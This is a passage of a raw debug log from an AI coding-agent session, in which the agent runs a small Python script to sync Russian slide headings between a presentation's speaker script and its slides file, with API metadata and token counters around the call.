\"req_011CfXNX5mm4Z2XzrTDFFD5p\",\n[2026-09-29T07:55:27.182Z] [STDOUT]   \"traceresponse\": \"00-0f5c6208658c7ea7869515dfac79f31e-30c9eca027ffde48-01\",\n[2026-09-29T07:55:27.184Z] [STDOUT]   \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:55:27.191Z] [STDOUT]   \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:55:27.194Z] [STDOUT]   \"server\": \"cloudflare\",\n[2026-09-29T07:55:27.197Z] [STDOUT]   \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:55:27.202Z] [STDOUT]   \"x-robots-tag\": \"none\",\n[2026-09-29T07:55:27.206Z] [STDOUT]   \"cf-ray\": \"a4296cf02d405d90-FRA\",\n[2026-09-29T07:55:27.209Z] [STDOUT] } ReadableStream { locked: false, state: 'readable', supportsBYOB: false }\n[2026-09-29T07:55:27.212Z] [STDOUT] [log_c7edce] response parsed {\n[2026-09-29T07:55:27.216Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:55:27.223Z] [STDOUT]   status: 200,\n[2026-09-29T07:55:27.229Z] [STDOUT]   body: X {\n[2026-09-29T07:55:27.236Z] [STDOUT]     iterator: [AsyncGeneratorFunction: i],\n[2026-09-29T07:55:27.239Z] [STDOUT]     controller: AbortController {\n[2026-09-29T07:55:27.243Z] [STDOUT]       signal: [AbortSignal ...],\n[2026-09-29T07:55:27.253Z] [STDOUT]       abort: [Function: abort],\n[2026-09-29T07:55:27.259Z] [STDOUT]     },\n[2026-09-29T07:55:27.262Z] [STDOUT]     [Symbol(Symbol.asyncIterator)]: [Function],\n[2026-09-29T07:55:27.266Z] [STDOUT]     tee: [Function: tee],\n[2026-09-29T07:55:27.271Z] [STDOUT]     toReadableStream: [Function: toReadableStream],\n[2026-09-29T07:55:27.275Z] [STDOUT]   },\n[2026-09-29T07:55:27.278Z] [STDOUT]   durationMs: 798,\n[2026-09-29T07:55:27.280Z] [STDOUT] }\n[2026-09-29T07:55:27.453Z] [INFO] {\n[2026-09-29T07:55:27.453Z] [INFO]   \"type\": \"system\",\n[2026-09-29T07:55:27.453Z] [INFO]   \"subtype\": \"thinking_tokens\",\n[2026-09-29T07:55:27.453Z] [INFO]   \"estimated_tokens\": 50,\n[2026-09-29T07:55:27.453Z] [INFO]   \"estimated_tokens_delta\": [REDACTED],\n[2026-09-29T07:55:27.453Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:55:27.453Z] [INFO]   \"uuid\": \"7f6292df-e116-4ae8-a758-8dc5a899b5ee\"\n[2026-09-29T07:55:27.453Z] [INFO] }\n[2026-09-29T07:55:28.620Z] [INFO] {\n[2026-09-29T07:55:28.620Z] [INFO]   \"type\": \"system\",\n[2026-09-29T07:55:28.620Z] [INFO]   \"subtype\": \"thinking_tokens\",\n[2026-09-29T07:55:28.620Z] [INFO]   \"estimated_tokens\": 200,\n[2026-09-29T07:55:28.620Z] [INFO]   \"estimated_tokens_delta\": [REDACTED],\n[2026-09-29T07:55:28.620Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:55:28.620Z] [INFO]   \"uuid\": \"9f0de614-e65e-4754-9f63-0930db373e4c\"\n[2026-09-29T07:55:28.620Z] [INFO] }\n[2026-09-29T07:55:29.765Z] [INFO] {\n[2026-09-29T07:55:29.765Z] [INFO]   \"type\": \"system\",\n[2026-09-29T07:55:29.765Z] [INFO]   \"subtype\": \"thinking_tokens\",\n[2026-09-29T07:55:29.765Z] [INFO]   \"estimated_tokens\": 300,\n[2026-09-29T07:55:29.765Z] [INFO]   \"estimated_tokens_delta\": [REDACTED],\n[2026-09-29T07:55:29.765Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:55:29.765Z] [INFO]   \"uuid\": \"3a309892-7d06-4326-8aef-e768f2c311cf\"\n[2026-09-29T07:55:29.765Z] [INFO] }\n[2026-09-29T07:55:30.829Z] [INFO] {\n[2026-09-29T07:55:30.829Z] [INFO]   \"type\": \"system\",\n[2026-09-29T07:55:30.829Z] [INFO]   \"subtype\": \"thinking_tokens\",\n[2026-09-29T07:55:30.829Z] [INFO]   \"estimated_tokens\": 400,\n[2026-09-29T07:55:30.829Z] [INFO]   \"estimated_tokens_delta\": [REDACTED],\n[2026-09-29T07:55:30.829Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:55:30.829Z] [INFO]   \"uuid\": \"4bcf48f9-34e4-4974-95d2-eea2834c4455\"\n[2026-09-29T07:55:30.829Z] [INFO] }\n[2026-09-29T07:55:31.889Z] [INFO] {\n[2026-09-29T07:55:31.889Z] [INFO]   \"type\": \"system\",\n[2026-09-29T07:55:31.889Z] [INFO]   \"subtype\": \"thinking_tokens\",\n[2026-09-29T07:55:31.889Z] [INFO]   \"estimated_tokens\": 550,\n[2026-09-29T07:55:31.889Z] [INFO]   \"estimated_tokens_delta\": [REDACTED],\n[2026-09-29T07:55:31.889Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:55:31.889Z] [INFO]   \"uuid\": \"b5b790d1-11c5-4c3d-8b24-c6f2ff8e43a0\"\n[2026-09-29T07:55:31.889Z] [INFO] }\n[2026-09-29T07:55:34.831Z] [INFO] {\n[2026-09-29T07:55:34.831Z] [INFO]   \"type\": \"system\",\n[2026-09-29T07:55:34.831Z] [INFO]   \"subtype\": \"thinking_tokens\",\n[2026-09-29T07:55:34.831Z] [INFO]   \"estimated_tokens\": 620,\n[2026-09-29T07:55:34.831Z] [INFO]   \"estimated_tokens_delta\": [REDACTED],\n[2026-09-29T07:55:34.831Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:55:34.831Z] [INFO]   \"uuid\": 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{\n[2026-09-29T07:55:34.911Z] [INFO]     \"model\": \"claude-opus-5-5\",\n[2026-09-29T07:55:34.911Z] [INFO]     \"id\": \"msg_011CfXNX6EYcgCGmFXwY8Db1\",\n[2026-09-29T07:55:34.911Z] [INFO]     \"type\": \"message\",\n[2026-09-29T07:55:34.911Z] [INFO]     \"role\": \"assistant\",\n[2026-09-29T07:55:34.911Z] [INFO]     \"content\": [\n[2026-09-29T07:55:34.911Z] [INFO]       {\n[2026-09-29T07:55:34.911Z] [INFO]         \"type\": \"thinking\",\n[2026-09-29T07:55:34.911Z] [INFO]         \"thinking\": \"I found several issues to fix: mismatched claims on slides 3 and 4, unverified details in the security and \u0418\u0411 answers, and headings that don't match the slides exactly. I'll correct these now.\\n\\n\",\n[2026-09-29T07:55:34.911Z] [INFO]         \"signature\": \"CAQS7wcKEQgSGAI4AUIJbmFycmF0aW9uEgxF5qermDB/HknnewkaDFVidUfxLf1faJqM4iIwK4j5vBuKwec3/p212or1tHBhGoyaQMpjdL8i69oCjouxYcMpbX0lZolnISwBdv7cKosHixGDSKqTGAZ+BNmdOGv/87nwKMKLxWg+AjvB2zDgNorBowVZsjAY1lyC0Qb95ZIf0v/5bU/6DxODuvH/PDZD1jZtiuYW2Ic6OPHJcJWUM/YJG/KUrp+q0en3JjhyDna8urmJDtXoiABDxoH+3G8qUgbj3WvEMrcjee0stgYYIH7qoRIlMETd33mYn29alIKBEdsOXSdIlZPIZ9YggYNzDIDiviVmI5HOk+iEbQHnMU0KziPc8lkvqQ1YhyjG9SYUafY9okyzIxs+IBMx9CvGovPCFIIiBiJ+N2Nq/BIM1yCe2ftL6PePvk6Kb14xDgXx0ZkGDJFfo38ifU4++OkU7CqJ8KvLs3JR4XN3uyx7DstAZkUGuZIC6s03I2toucPWB7wkz6X2Z31LDo3ZWhqM4Esxp/1V6VoQykw2Ki8HXCRBZETYi3+csq6VI7wmPtJAab9hghZzMST0XF+8vwqpN+8DlrTf6a3WVfsdILIoegNVck8gs1yowjBCKc7tS3ey8iS9JPCSzATD1SDRHTKyxAJn5E/E++MIgo6KA+298ZTHJJjBkoxnUwS1HMNlABwYWjeSNmRNiUA3VNxgwsFJWabquZfecn2Lc4B9AgQlicaAu6CGsknOlBgsJ4eLjEAWGhwx4h3Jwi5MHBkI27l4I/dDoZ2WlUwd486oRD5T2LnRLSNurtgfWjTSkSPB2ai5AP+dCwNCUdoxtWwfRn28jjJupK7Y6TdqfJ7UsUycFgOS9jgFmafs/UCw6F1Xh0+/9tjIkJN9IjqPNs+3wydG7gQWlgiuBvWnY9JNG/K/daPucU2pw7E9n7/hpH4eWS5D1ENolb9WSY7zdOkGQAtgjKuBGFTE5b+JeaDLpimf5DD/lcebPhK/R2aedEVafCaMD4ZoDfTov5SzUESd5Ch48RWDOvKlIOb00eu1lQdR4i1CJCFKypXXm0l6fuMcm8PdwujEprHIVj7nP3/Y1zEYH/FtftAeecX9TioL5HemIrlcNh5ewYm46U/LMS+gtBTR+YhxVt4c/Sa4ocZkmlktyKqE04V91upcNCWQJIjPHTOigKp3VF4WDTtNvI9e2dm9Y/KjZglo/PL7aoLgeDl9SySe3CY27Bw7wJzz5ByGaICKsOCOUs4UiestthWTyf2waYW0yMIM2o+xSjzLAVmPokbgDxg0UC8G2QFN/bm3Me45FDj69zutK4hG1xgB\"\n[2026-09-29T07:55:34.911Z] [INFO]       }\n[2026-09-29T07:55:34.911Z] [INFO]     ],\n[2026-09-29T07:55:34.911Z] [INFO]     \"container\": null,\n[2026-09-29T07:55:34.911Z] [INFO]     \"stop_reason\": null,\n[2026-09-29T07:55:34.911Z] [INFO]     \"stop_sequence\": null,\n[2026-09-29T07:55:34.911Z] [INFO]     \"stop_details\": null,\n[2026-09-29T07:55:34.911Z] [INFO]     \"usage\": {\n[2026-09-29T07:55:34.911Z] [INFO]       \"input_tokens\": 2,\n[2026-09-29T07:55:34.911Z] [INFO]       \"cache_creation_input_tokens\": 3945,\n[2026-09-29T07:55:34.911Z] [INFO]       \"cache_read_input_tokens\": 49232,\n[2026-09-29T07:55:34.911Z] [INFO]       \"cache_creation\": {\n[2026-09-29T07:55:34.911Z] [INFO]         \"ephemeral_5m_input_tokens\": 0,\n[2026-09-29T07:55:34.911Z] [INFO]         \"ephemeral_1h_input_tokens\": 3945\n[2026-09-29T07:55:34.911Z] [INFO]       },\n[2026-09-29T07:55:34.911Z] [INFO]       \"output_tokens\": 8,\n[2026-09-29T07:55:34.911Z] [INFO]       \"service_tier\": \"standard\",\n[2026-09-29T07:55:34.911Z] [INFO]       \"inference_geo\": \"not_available\"\n[2026-09-29T07:55:34.911Z] [INFO]     },\n[2026-09-29T07:55:34.911Z] [INFO]     \"input_transformations\": [],\n[2026-09-29T07:55:34.911Z] [INFO]     \"diagnostics\": null,\n[2026-09-29T07:55:34.911Z] [INFO]     \"context_management\": null\n[2026-09-29T07:55:34.911Z] [INFO]   },\n[2026-09-29T07:55:34.911Z] [INFO]   \"parent_tool_use_id\": null,\n[2026-09-29T07:55:34.911Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:55:34.911Z] [INFO]   \"uuid\": \"7a1e0c9c-b82e-4084-b499-6ce93962304d\",\n[2026-09-29T07:55:34.911Z] [INFO]   \"timestamp\": \"2026-09-29T07:55:34.835Z\",\n[2026-09-29T07:55:34.911Z] [INFO]   \"request_id\": \"req_011CfXNX5mm4Z2XzrTDFFD5p\",\n[2026-09-29T07:55:34.911Z] [INFO]   \"narration_block_indexes\": [\n[2026-09-29T07:55:34.911Z] [INFO]     0\n[2026-09-29T07:55:34.911Z] [INFO]   ]\n[2026-09-29T07:55:34.911Z] [INFO] }\n[2026-09-29T07:55:36.672Z] [INFO] {\n[2026-09-29T07:55:36.672Z] [INFO]   \"type\": \"assistant\",\n[2026-09-29T07:55:36.672Z] [INFO]   \"message\": {\n[2026-09-29T07:55:36.672Z] [INFO]     \"model\": \"claude-opus-5-5\",\n[2026-09-29T07:55:36.672Z] [INFO]     \"id\": \"msg_011CfXNX6EYcgCGmFXwY8Db1\",\n[2026-09-29T07:55:36.672Z] [INFO]     \"type\": \"message\",\n[2026-09-29T07:55:36.672Z] [INFO]     \"role\": \"assistant\",\n[2026-09-29T07:55:36.672Z] [INFO]     \"content\": [\n[2026-09-29T07:55:36.672Z] [INFO]       {\n[2026-09-29T07:55:36.672Z] [INFO]         \"type\": \"tool_use\",\n[2026-09-29T07:55:36.672Z] [INFO]         \"id\": \"toolu_01FrvHTqdGohhzFzwuayPs65\",\n[2026-09-29T07:55:36.672Z] [INFO]         \"name\": \"Bash\",\n[2026-09-29T07:55:36.672Z] [INFO]         \"input\": {\n[2026-09-29T07:55:36.672Z] [INFO]           \"command\": \"cd /tmp/gh-issue-solver-1790667776920/projects/ba-ai-process/docs/presentation; F=2026-09-29-meta-model-presentation-speaker-script.md; S=2026-09-29-meta-model-presentation-slides.md\\npython3 - \\\"$F\\\" \\\"$S\\\" <<'EOF'\\nimport re,sys\\nf,s=sys.argv[1],sys.argv[2]\\nt=open(f).read()\\nheads=dict(re.findall(r'^(## \u0421\u043b\u0430\u0439\u0434 \\\\d+)\\\\. (.*)$',open(s).read(),re.M))\\nt=re.sub(r'^(## \u0421\u043b\u0430\u0439\u0434 \\\\d+)\\\\. .*$',lambda m:m.group(1)+'. '+heads[m.group(1)],t,flags=re.M)\\nopen(f,'w').write(t)\\nEOF\\ngrep -n '^## \u0421\u043b\u0430\u0439\u0434' $F\",\n[2026-09-29T07:55:36.672Z] [INFO]           \"description\": \"Sync speaker-script headings with slide titles\"\n[2026-09-29T07:55:36.672Z] [INFO]         },\n[2026-09-29T07:55:36.672Z] [INFO]         \"caller\": {\n[2026-09-29T07:55:36.672Z] [INFO]           \"type\": \"direct\"\n[2026-09-29T07:55:36.672Z] [INFO]         }\n[2026-09-29T07:55:36.672Z] [INFO]       }\n[2026-09-29T07:55:36.672Z] [INFO]     ],\n[2026-09-29T07:55:36.672Z] [INFO]     \"container\": null,\n[2026-09-29T07:55:36.672Z] [INFO]     \"stop_reason\": null,\n[2026-09-29T07:55:36.672Z] [INFO]     \"stop_sequence\": null,\n[2026-09-29T07:55:36.672Z] [INFO]     \"stop_details\": null,\n[2026-09-29T07:55:36.672Z] [INFO]     \"usage\": {\n[2026-09-29T07:55:36.672Z] [INFO]       \"input_tokens\": 2,\n[2026-09-29T07:55:36.672Z] [INFO]       \"cache_creation_input_tokens\": 3945,\n[2026-09-29T07:55:36.672Z] [INFO]       \"cache_read_input_tokens\": 49232,\n[2026-09-29T07:55:36.672Z] [INFO]       \"cache_creation\": {\n[2026-09-29T07:55:36.672Z] [INFO]         \"ephemeral_5m_input_tokens\": 0,\n[2026-09-29T07:55:36.672Z] [INFO]         \"ephemeral_1h_input_tokens\": 3945\n[2026-09-29T07:55:36.672Z] [INFO]       },\n[2026-09-29T07:55:36.672Z] [INFO]       \"output_tokens\": 8,\n[2026-09-29T07:55:36.672Z] [INFO]       \"service_tier\": \"standard\",\n[2026-09-29T07:55:36.672Z] [INFO]       \"inference_geo\": \"not_available\"\n[2026-09-29T07:55:36.672Z] [INFO]     },\n[2026-09-29T07:55:36.672Z] [INFO]     \"input_transformations\": [],\n[2026-09-29T07:55:36.672Z] [INFO]     \"diagnostics\": null,\n[2026-09-29T07:55:36.672Z] [INFO]     \"context_management\": null\n[2026-09-29T07:55:36.672Z] [INFO]   },\n[2026-09-29T07:55:36.672Z] [INFO]   \"parent_tool_use_id\": null,\n[2026-09-29T07:55:36.672Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:55:36.672Z] [INFO]   \"uuid\": \"400e4d34-1660-440d-9cff-7b610bbefb94\",\n[2026-09-29T07:55:36.672Z] [INFO]   \"timestamp\": \"2026-09-29T07:55:36.666Z\",\n[2026-09-29T07:55:36.672Z] [INFO]   \"request_id\": \"req_011CfXNX5mm4Z2XzrTDFFD5p\",\n[2026-09-29T07:55:36.672Z] [INFO]   \"wire_tool_inputs\": {\n[2026-09-29T07:55:36.672Z] [INFO]     \"toolu_01FrvHTqdGohhzFzwuayPs65\": {\n[2026-09-29T07:55:36.672Z] [INFO]       \"command\": \"cd /tmp/gh-issue-solver-1790667776920/projects/ba-ai-process/docs/presentation; F=2026-09-29-meta-model-presentation-speaker-script.md; S=2026-09-29-meta-model-presentation-slides.md\\npython3 - \\\"$F\\\" \\\"$S\\\" <<'EOF'\\nimport re,sys\\nf,s=sys.argv[1],sys.argv[2]\\nt=open(f).read()\\nheads=dict(re.findall(r'^(## \u0421\u043b\u0430\u0439\u0434 \\\\d+)\\\\. (.*)$',open(s).read(),re.M))\\nt=re.sub(r'^(## \u0421\u043b\u0430\u0439\u0434 \\\\d+)\\\\. .*$',lambda m:m.group(1)+'. '+heads[m.group(1)],t,flags=re.M)\\nopen(f,'w').write(t)\\nEOF\\ngrep -n '^## \u0421\u043b\u0430\u0439\u0434' $F\",\n[2026-09-29T07:55:36.672Z] [INFO]       \"description\": \"Sync speaker-script headings with slide titles\"\n[2026-09-29T07:55:36.672Z] [INFO]     }\n[2026-09-29T07:55:36.672Z] [INFO]   }\n[2026-09-29T07:55:36.672Z] [INFO] }\n[2026-09-29T07:55:38.320Z] [INFO] {\n[2026-09-29T07:55:38.320Z] [INFO]   \"type\": \"user\",\n[2026-09-29T07:55:38.320Z] [INFO]   \"message\": {\n[2026-09-29T07:55:38.320Z] [INFO]     \"role\": \"user\",\n[2026-09-29T07:55:38.320Z] [INFO]     \"content\": [\n[2026-09-29T07:55:38.320Z] [INFO]       {\n[2026-09-29T07:55:38.320Z] [INFO]         \"tool_use_id\": \"toolu_01FrvHTqdGohhzFzwuayPs65\",\n[2026-09-29T07:55:38.320Z] [INFO]         \"type\": \"tool_result\",\n[2026-09-29T07:55:38.320Z] [INFO]         \"content\": \"51:## \u0421\u043b\u0430\u0439\u0434 1. \u0422\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u044f \u0434\u043b\u044f \u043a\u0440\u0443\u043f\u043d\u044b\u0445 \u043a\u043b\u0438\u0435\u043d\u0442\u043e\u0432 \u043c\u043e\u0436\u043d\u043e \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u0442\u044c \u043a\u0430\u043a \u0438\u043d\u0436\u0435\u043d\u0435\u0440\u043d\u044b\u0439 \u043f\u0440\u043e\u0434\u0443\u043a\u0442, \u0430 \u043d\u0435 \u043a\u0430\u043a \u0430\u0432\u0442\u043e\u0440\u0441\u043a\u0438\u0439 \u0442\u0435\u043a\u0441\u0442\\n73:## \u0421\u043b\u0430\u0439\u0434 2. \u0412 \u043a\u043e\u043c\u0430\u043d\u0434\u0430\u0445 \u043a\u0440\u0443\u043f\u043d\u044b\u0445 \u043a\u043b\u0438\u0435\u043d\u0442\u043e\u0432 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0435 \u2014 \u044d\u0442\u043e \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u043e, \u0430 \u043d\u0435 \u0437\u0430\u043c\u0435\u0442\u043a\u0430\\n98:## \u0421\u043b\u0430\u0439\u0434 3. \u041c\u0435\u0436\u0434\u0443 \u0441\u044b\u0440\u044b\u043c \u0437\u0430\u043f\u0440\u043e\u0441\u043e\u043c \u0438 \u0422\u0417 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442 \u0442\u0435\u0440\u044f\u0435\u0442\u0441\u044f \u043d\u0430 \u043a\u0430\u0436\u0434\u043e\u043c \u0440\u0443\u0447\u043d\u043e\u043c \u0448\u0430\u0433\u0435\\n131:## \u0421\u043b\u0430\u0439\u0434 4. \u0423\u043b\u0443\u0447\u0448\u0435\u043d\u0438\u0435 \u043f\u0440\u043e\u043c\u043f\u0442\u043e\u0432 \u043f\u0435\u0440\u0435\u0441\u0442\u0430\u043b\u043e \u0434\u0430\u0432\u0430\u0442\u044c \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442: 60+ \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u043f\u043e\u043a\u0430\u0437\u0430\u043b\u0438, \u0447\u0442\u043e \u0434\u0435\u0444\u0435\u043a\u0442 \u0441\u0438\u0434\u0438\u0442 \u0434\u043e \u0442\u0435\u043a\u0441\u0442\u0430\\n170:## \u0421\u043b\u0430\u0439\u0434 5. \u041c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u044c \u0440\u0430\u0441\u043a\u043b\u0430\u0434\u044b\u0432\u0430\u0435\u0442 \u0440\u0430\u0431\u043e\u0442\u0443 \u0411\u0410 \u0434\u043e \u0443\u0440\u043e\u0432\u043d\u044f, \u043d\u0430 \u043a\u043e\u0442\u043e\u0440\u043e\u043c \u0435\u0451 \u043c\u043e\u0436\u043d\u043e \u043f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c\\n198:## \u0421\u043b\u0430\u0439\u0434 6. \u041c\u044b \u043d\u0435 \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0437\u0438\u0440\u0443\u0435\u043c \u043c\u044b\u0441\u043b\u044c: \u043c\u044b \u043e\u0446\u0438\u0444\u0440\u043e\u0432\u044b\u0432\u0430\u0435\u043c \u043a\u043e\u0433\u043d\u0438\u0442\u0438\u0432\u043d\u0443\u044e \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u044e \u0438 \u0441\u0442\u0430\u0432\u0438\u043c \u043d\u0430 \u0435\u0451 \u0432\u044b\u0445\u043e\u0434 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\\n235:## \u0421\u043b\u0430\u0439\u0434 7. \u041a\u043e\u043d\u0432\u0435\u0439\u0435\u0440 \u043f\u0440\u0435\u0432\u0440\u0430\u0449\u0430\u0435\u0442 \u0441\u044b\u0440\u043e\u0439 \u0437\u0430\u043f\u0440\u043e\u0441 \u0432 \u043f\u0440\u043e\u0432\u0435\u0440\u0435\u043d\u043d\u044b\u0439 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442 \u0437\u0430 \u043f\u044f\u0442\u044c \u0448\u0430\u0433\u043e\u0432 \u0438 \u0434\u0432\u0430 \u0433\u0435\u0439\u0442\u0430\\n274:## \u0421\u043b\u0430\u0439\u0434 8. \u041f\u0438\u043b\u043e\u0442 \u043d\u0430 \u0410\u0420\u041c \u0434\u043e\u043a\u0430\u0437\u0430\u043b \u043c\u043e\u0434\u0435\u043b\u044c; \u0434\u043b\u044f \u0433\u0430\u0440\u0430\u043d\u0442\u0438\u0439 \u043f\u0435\u0440\u0435\u0445\u043e\u0434\u0430\u043c\u0438 \u0434\u043e\u043b\u0436\u0435\u043d \u0443\u043f\u0440\u0430\u0432\u043b\u044f\u0442\u044c \u043a\u043e\u0434, \u0430 \u043d\u0435 \u043c\u043e\u0434\u0435\u043b\u044c\\n311:## \u0421\u043b\u0430\u0439\u0434 9. \u041c\u0430\u0441\u0448\u0442\u0430\u0431\u0438\u0440\u0443\u0435\u0442\u0441\u044f \u043d\u0435 \u0433\u0435\u043d\u0435\u0440\u0430\u0446\u0438\u044f, \u0430 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442 \u0432\u044b\u0445\u043e\u0434\u0430: \u0435\u0433\u043e \u0441\u043e\u0431\u043b\u044e\u0434\u0435\u043d\u0438\u0435 \u0434\u0435\u043b\u0430\u0435\u0442 \u043f\u0435\u0440\u0435\u0434\u0430\u0447\u0443 \u0432 \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u043a\u0443 \u0431\u0435\u0441\u0448\u043e\u0432\u043d\u043e\u0439\\n339:## \u0421\u043b\u0430\u0439\u0434 10. \u041e\u0442 \u043f\u0438\u043b\u043e\u0442\u0430 \u043a \u0421\u0440\u0435\u0434\u0435 4 \u2014 \u0442\u0440\u0438 \u0448\u0430\u0433\u0430, \u043a\u0440\u0438\u0442\u0435\u0440\u0438\u0439 \u043e\u043f\u0440\u043e\u0432\u0435\u0440\u0436\u0435\u043d\u0438\u044f \u0437\u0430\u0434\u0430\u043d \u0434\u043e \u0441\u0442\u0430\u0440\u0442\u0430\",\n[2026-09-29T07:55:38.320Z] [INFO]         \"is_error\": false\n[2026-09-29T07:55:38.320Z] [INFO]       }\n[2026-09-29T07:55:38.320Z] [INFO]     ]\n[2026-09-29T07:55:38.320Z] [INFO]   },\n[2026-09-29T07:55:38.320Z] [INFO]   \"parent_tool_use_id\": null,\n[2026-09-29T07:55:38.320Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:55:38.320Z] [INFO]   \"uuid\": \"daa7475d-e745-4421-9242-13488e492fa4\",\n[2026-09-29T07:55:38.320Z] [INFO]   \"timestamp\": \"2026-09-29T07:55:38.302Z\",\n[2026-09-29T07:55:38.320Z] [INFO]   \"tool_use_result\": {\n[2026-09-29T07:55:38.320Z] [INFO]     \"stdout\": \"51:## \u0421\u043b\u0430\u0439\u0434 1. \u0422\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u044f \u0434\u043b\u044f \u043a\u0440\u0443\u043f\u043d\u044b\u0445 \u043a\u043b\u0438\u0435\u043d\u0442\u043e\u0432 \u043c\u043e\u0436\u043d\u043e \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u0442\u044c \u043a\u0430\u043a \u0438\u043d\u0436\u0435\u043d\u0435\u0440\u043d\u044b\u0439 \u043f\u0440\u043e\u0434\u0443\u043a\u0442, \u0430 \u043d\u0435 \u043a\u0430\u043a \u0430\u0432\u0442\u043e\u0440\u0441\u043a\u0438\u0439 \u0442\u0435\u043a\u0441\u0442\\n73:## \u0421\u043b\u0430\u0439\u0434 2. \u0412 \u043a\u043e\u043c\u0430\u043d\u0434\u0430\u0445 \u043a\u0440\u0443\u043f\u043d\u044b\u0445 \u043a\u043b\u0438\u0435\u043d\u0442\u043e\u0432 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0435 \u2014 \u044d\u0442\u043e \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u043e, \u0430 \u043d\u0435 \u0437\u0430\u043c\u0435\u0442\u043a\u0430\\n98:## \u0421\u043b\u0430\u0439\u0434 3. \u041c\u0435\u0436\u0434\u0443 \u0441\u044b\u0440\u044b\u043c \u0437\u0430\u043f\u0440\u043e\u0441\u043e\u043c \u0438 \u0422\u0417 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442 \u0442\u0435\u0440\u044f\u0435\u0442\u0441\u044f \u043d\u0430 \u043a\u0430\u0436\u0434\u043e\u043c \u0440\u0443\u0447\u043d\u043e\u043c \u0448\u0430\u0433\u0435\\n131:## \u0421\u043b\u0430\u0439\u0434 4. \u0423\u043b\u0443\u0447\u0448\u0435\u043d\u0438\u0435 \u043f\u0440\u043e\u043c\u043f\u0442\u043e\u0432 \u043f\u0435\u0440\u0435\u0441\u0442\u0430\u043b\u043e \u0434\u0430\u0432\u0430\u0442\u044c \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442: 60+ \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u043f\u043e\u043a\u0430\u0437\u0430\u043b\u0438, \u0447\u0442\u043e \u0434\u0435\u0444\u0435\u043a\u0442 \u0441\u0438\u0434\u0438\u0442 \u0434\u043e \u0442\u0435\u043a\u0441\u0442\u0430\\n170:## \u0421\u043b\u0430\u0439\u0434 5. \u041c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u044c \u0440\u0430\u0441\u043a\u043b\u0430\u0434\u044b\u0432\u0430\u0435\u0442 \u0440\u0430\u0431\u043e\u0442\u0443 \u0411\u0410 \u0434\u043e \u0443\u0440\u043e\u0432\u043d\u044f, \u043d\u0430 \u043a\u043e\u0442\u043e\u0440\u043e\u043c \u0435\u0451 \u043c\u043e\u0436\u043d\u043e \u043f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c\\n198:## \u0421\u043b\u0430\u0439\u0434 6. \u041c\u044b \u043d\u0435 \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0437\u0438\u0440\u0443\u0435\u043c \u043c\u044b\u0441\u043b\u044c: \u043c\u044b \u043e\u0446\u0438\u0444\u0440\u043e\u0432\u044b\u0432\u0430\u0435\u043c \u043a\u043e\u0433\u043d\u0438\u0442\u0438\u0432\u043d\u0443\u044e \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u044e \u0438 \u0441\u0442\u0430\u0432\u0438\u043c \u043d\u0430 \u0435\u0451 \u0432\u044b\u0445\u043e\u0434 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\\n235:## \u0421\u043b\u0430\u0439\u0434 7. \u041a\u043e\u043d\u0432\u0435\u0439\u0435\u0440 \u043f\u0440\u0435\u0432\u0440\u0430\u0449\u0430\u0435\u0442 \u0441\u044b\u0440\u043e\u0439 \u0437\u0430\u043f\u0440\u043e\u0441 \u0432 \u043f\u0440\u043e\u0432\u0435\u0440\u0435\u043d\u043d\u044b\u0439 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442 \u0437\u0430 \u043f\u044f\u0442\u044c \u0448\u0430\u0433\u043e\u0432 \u0438 \u0434\u0432\u0430 \u0433\u0435\u0439\u0442\u0430\\n274:## \u0421\u043b\u0430\u0439\u0434 8. \u041f\u0438\u043b\u043e\u0442 \u043d\u0430 